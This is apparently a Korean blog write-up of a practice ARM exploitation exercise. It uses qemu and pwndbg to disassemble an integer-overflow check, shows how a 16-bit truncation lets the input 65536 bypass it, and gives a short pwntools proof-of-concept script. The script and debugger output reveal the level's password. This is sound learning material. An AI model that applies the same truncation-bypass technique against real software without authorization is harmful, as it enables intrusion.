[pwnable] ARM exploit ์ •๋ฆฌ - Integer Overflow

github์— arm exploit์„ ์ •๋ฆฌํ•˜๊ธฐ์— ์ข‹์€ ์˜ˆ์ œ๊ฐ€ ์žˆ์–ด์„œ ์ด๋ฅผ ์ด์šฉํ•ด์„œ ์ •๋ฆฌํ•ด๋ณด๊ณ ์ž ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ‘‰๐Ÿป exploit_me

m1 mac์—์„œ ์ง„ํ–‰ํ•˜์ง€๋งŒ pwnable ํ™˜๊ฒฝ ์ž์ฒด๊ฐ€ linux x64 ํ™˜๊ฒฝ์ด๊ธฐ ๋•Œ๋ฌธ์— qemu๋ฅผ ์ด์šฉํ•˜์—ฌ ์ง„ํ–‰ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

๐Ÿ‘‰๐Ÿป qemu ์ •๋ฆฌ

โ˜๐Ÿป ์ •์ˆ˜ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ

main์„ disassembleํ•ด๋ณด๋ฉด int_overflow ํ•จ์ˆ˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

์ด ํ•จ์ˆ˜๊ฐ€ level2 password์˜ ํžŒํŠธ๋‹ค.

์ฐธ๊ณ ๋กœ level1 password์˜ ๊ฒฝ์šฐ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

qemu-aarch64-static -L /usr/aarch64-linux-gnu/ -g 8888 ./exploit64 hello 11111

11111์ด๋ผ๋Š” ๊ฐ’์„ ์คฌ๊ณ , ์ด 11111์„ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ์‚ดํŽด๋ณด์ž.

0x0000000000401490 <+0>:	stp	x29, x30, [sp, #-48]!
0x0000000000401494 <+4>:	mov	x29, sp
0x0000000000401498 <+8>:	str	x0, [sp, #24]
0x000000000040149c <+12>:	ldr	x0, [sp, #24]
0x00000000004014a0 <+16>:	bl	0x4171b8 <atoi>
0x00000000004014a4 <+20>:	str	w0, [sp, #44]
0x00000000004014a8 <+24>:	ldr	w0, [sp, #44]
0x00000000004014ac <+28>:	str	w0, [sp, #40]
0x00000000004014b0 <+32>:	ldr	w0, [sp, #40]
0x00000000004014b4 <+36>:	cmp	w0, #0x0
0x00000000004014b8 <+40>:	b.ne	0x4014d0 <_Z12int_overflowPc+64>  // b.any
0x00000000004014bc <+44>:	adrp	x0, 0x470000 <_nl_archive_subfreeres+104>
0x00000000004014c0 <+48>:	add	x0, x0, #0x7e8
0x00000000004014c4 <+52>:	bl	0x425e30 <puts>
0x00000000004014c8 <+56>:	mov	w0, #0x0                   	// #0
0x00000000004014cc <+60>:	bl	0x417b30 <exit>
0x00000000004014d0 <+64>:	ldr	w0, [sp, #44]
0x00000000004014d4 <+68>:	strh	w0, [sp, #38]
0x00000000004014d8 <+72>:	ldrh	w0, [sp, #38]
0x00000000004014dc <+76>:	cmp	w0, #0x0
0x00000000004014e0 <+80>:	b.eq	0x401500 <_Z12int_overflowPc+112>  // b.none
0x00000000004014e4 <+84>:	ldrh	w0, [sp, #38]
0x00000000004014e8 <+88>:	mov	w1, w0
0x00000000004014ec <+92>:	adrp	x0, 0x470000 <_nl_archive_subfreeres+104>

int_overflow์˜ disassembleํ•œ ์ฝ”๋“œ๋‹ค.

  1. stp x29,x30,[sp,#-48]! mov x29,sp๋ฅผ ํ†ตํ•ด ์Šคํƒ ์ •๋ฆฌ
  2. str x0,[sp,#24],ldr x0,[sp,#24]๋ฅผ ํ†ตํ•ด ๊ฐ’์„ ๊ฐ€์ ธ์˜จ๋‹ค.
  3. atoi๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฐ’์„ ์ฝ์Œ
  4. ์ด ๊ฐ’์„ 0๊ณผ ๋น„๊ตํ•˜์—ฌ ๊ฐ™์ง€ ์•Š์œผ๋ฉด ์ฒซ๋ฒˆ์งธ branch๋ฅผ ํ†ต๊ฐ€ํ•˜๊ฒŒ ๋œ๋‹ค.(๊ฐ™์œผ๋ฉด exit)
  5. ์ดํ›„ ๋‹ค์‹œ ์žฌ๋ฐฐ์—ดํ•œ ๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ 0๊ณผ ๊ฐ™์œผ๋ฉด jmp ํ•œ๋‹ค.(0๊ณผ ๊ฐ™์ง€ ์•Š์œผ๋ฉด exit)
  6. ์ฆ‰, ์ž…๋ ฅํ•œ ๊ฐ’์ด 0์ด๊ฑฐ๋‚˜ 0๋ณด๋‹ค ์ž‘์•„์•ผ ํ•œ๋‹ค.

์ด๋•Œ 11111๋ฅผ ํ†ตํ•ด ๋‚ด๋ถ€์—์„œ ์–ด๋–ค ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š”์ง€ ํ™•์ธํ•ด๋ณด์ž.

b *int_overflow
c

์ด๋•Œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  0x401490 <int_overflow(char*)>       stp    x29, x30, [sp, #-0x30]!       <main+224>
  0x401494 <int_overflow(char*)+4>     mov    x29, sp
  0x401498 <int_overflow(char*)+8>     str    x0, [sp, #0x18]
  0x40149c <int_overflow(char*)+12>    ldr    x0, [sp, #0x18]
  0x4014a0 <int_overflow(char*)+16>    bl     #atoi                     <atoi>

  0x4014a4 <int_overflow(char*)+20>    str    w0, [sp, #0x2c]
  0x4014a8 <int_overflow(char*)+24>    ldr    w0, [sp, #0x2c]
  0x4014ac <int_overflow(char*)+28>    str    w0, [sp, #0x28]
  0x4014b0 <int_overflow(char*)+32>    ldr    w0, [sp, #0x28]
  0x4014b4 <int_overflow(char*)+36>    cmp    w0, #0
  0x4014b8 <int_overflow(char*)+40>    b.ne   #int_overflow(char*)+64                     <int_overflow(char*)+64>
  ...

์ด๋•Œ ์•„๊นŒ ์„ค๋ช…ํ•œ ์กฐ๊ฑด๋“ค์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด breakpoint๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ค€๋‹ค.

b *int_overflow+40
b *int_overflow+80
b *int_overflow+120

continue ํ•œ ํ›„์— w0์˜ ๊ฐ’์„ ํ™•์ธํ•ด๋ณด์ž.

c
pwndbg> info r w0
w0             0x2b67              11111

์ฆ‰ w0์—๋Š” 11111์˜ hex๊ฐ’์ธ 0x2b67์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ w0์ด 0๋ณด๋‹ค ํฌ๊ธฐ ๋•Œ๋ฌธ์— jmp๋ฅผ ํ•˜๊ฒŒ ๋œ๋‹ค.

๋‹ค์Œ ์กฐ๊ฑด์œผ๋กœ๋Š” ๊ทธ ๊ฐ’์„ ๋‹ค์‹œ ๊ฐ€์ ธ์™€ 0๊ณผ ๋น„๊ต๋ฅผ ํ•˜๊ฒŒ ๋œ๋‹ค.

์ด๋•Œ w0์€ ์•„๊นŒ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ 0x2b67์ด ๋“ค์–ด๊ฐ€์žˆ๊ธฐ ๋•Œ๋ฌธ์— jmp๋ฅผ ํ•˜์ง€ ๋ชปํ•œ๋‹ค.

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด printf()์™€ exit๋ฅผ ๋งŒ๋‚˜ ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๊ฐ€ ๋œ๋‹ค.

0x4014e4 <int_overflow(char*)+84>     ldrh   w0, [sp, #0x26]
 โ–บ 0x4014e8 <int_overflow(char*)+88>     mov    w1, w0
   0x4014ec <int_overflow(char*)+92>     adrp   x0, #_nl_archive_subfreeres+104 <0x470000>
   0x4014f0 <int_overflow(char*)+96>     add    x0, x0, #0x810
   0x4014f4 <int_overflow(char*)+100>    bl     #printf                     <printf>

   0x4014f8 <int_overflow(char*)+104>    mov    w0, #0
   0x4014fc <int_overflow(char*)+108>    bl     #exit                     <exit>

์ฆ‰, ์›ํ•˜๋Š” ๊ฐ’์„ ์–ป๊ธฐ ์œ„ํ•ด์„œ๋Š” w0์— 0์„ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ์ž…๋ ฅ๊ฐ’์— 0์„ ๋„ฃ๊ฒŒ ๋˜๋ฉด password๋ฅผ ์–ป์ง€ ๋ชปํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค.

ํ•ด๊ฒฐ๋ฐฉ๋ฒ•

๋‹ค์Œ์€ int_overflow์˜ ๋™์ž‘๊ณผ์ • ์ค‘ ํ•˜๋‚˜์ด๋‹ค.

์ด๋•Œ strh์™€ ldrh ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด w0์— ํŠน์ • ๊ฐ’์„ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

0x4014d0 <int_overflow(char*)+64>    ldr    w0, [sp, #0x2c]
0x4014d4 <int_overflow(char*)+68>    strh   w0, [sp, #0x26]
0x4014d8 <int_overflow(char*)+72>    ldrh   w0, [sp, #0x26]
โ–บ 0x4014dc <int_overflow(char*)+76>    cmp    w0, #0
0x4014e0 <int_overflow(char*)+80>    b.eq   #int_overflow(char*)+112                     <int_overflow(char*)+112>

strh๊ณผ ldrh๋Š” halfword ํฌ๊ธฐ๋งŒํผ์„ ์ €์žฅํ•˜๊ณ  ๋กœ๋“œํ•˜๋Š” ๋ช…๋ น์–ด๋‹ค.

๐Ÿ‘‰๐Ÿป ์ฐธ๊ณ 

๊ทธ๋ ‡๊ธฐ์— 2^16 ๊ฐ’์„ ๋„ฃ๊ฒŒ ๋œ๋‹ค๋ฉด 0์ด ์ €์žฅ๋˜๊ฒŒ ๋œ๋‹ค.

๋‹ค์Œ์€ 2^16์„ ์ž…๋ ฅ์œผ๋กœ ํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•œ ๊ฒฐ๊ณผ๋‹ค.

pwndbg> b *int_overflow+80
0x4014cc <int_overflow(char*)+60>     bl     #exit                     <exit>

   0x4014d0 <int_overflow(char*)+64>     ldr    w0, [sp, #0x2c]
   0x4014d4 <int_overflow(char*)+68>     strh   w0, [sp, #0x26]
   0x4014d8 <int_overflow(char*)+72>     ldrh   w0, [sp, #0x26]
   0x4014dc <int_overflow(char*)+76>     cmp    w0, #0
 โ–บ 0x4014e0 <int_overflow(char*)+80>     b.eq   #int_overflow(char*)+112                     <int_overflow(char*)+112>
    โ†“
   0x401500 <int_overflow(char*)+112>    ldr    w0, [sp, #0x2c]
   0x401504 <int_overflow(char*)+116>    cmp    w0, #0
   0x401508 <int_overflow(char*)+120>    b.lt   #int_overflow(char*)+136                     <int_overflow(char*)+136>

   0x40150c <int_overflow(char*)+124>    ldrh   w0, [sp, #0x26]
   0x401510 <int_overflow(char*)+128>    cmp    w0, #0
pwndbg> info r w0
w0             0x0                 0

PoC

Expoit Code๋ฅผ ์ œ์ž‘ํ•ด๋ณด์ž.

~
"exploit.py" 15L, 317B                                        7,0-1         All
from pwn import *

def lv1():
    args_lv1 = "65536"
    p = process(['./exploit64', 'hello', args_lv1])
    print(p.recvline())

if __name__ == "__main__":
    lv1()
hoho@hoho:~/exploit_me/bin$ python3 ./exploit.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/hoho/.cache/.pwntools-cache-3.12/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.13.1)
[+] Starting local process './exploit64': pid 1515
b'Level 2 Password: "help"\n'
[*] Stopped process './exploit64' (pid 1515)

์œ„์™€ ๊ฐ™์ด Level 2 Password๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

Categories:

Updated:

Leave a comment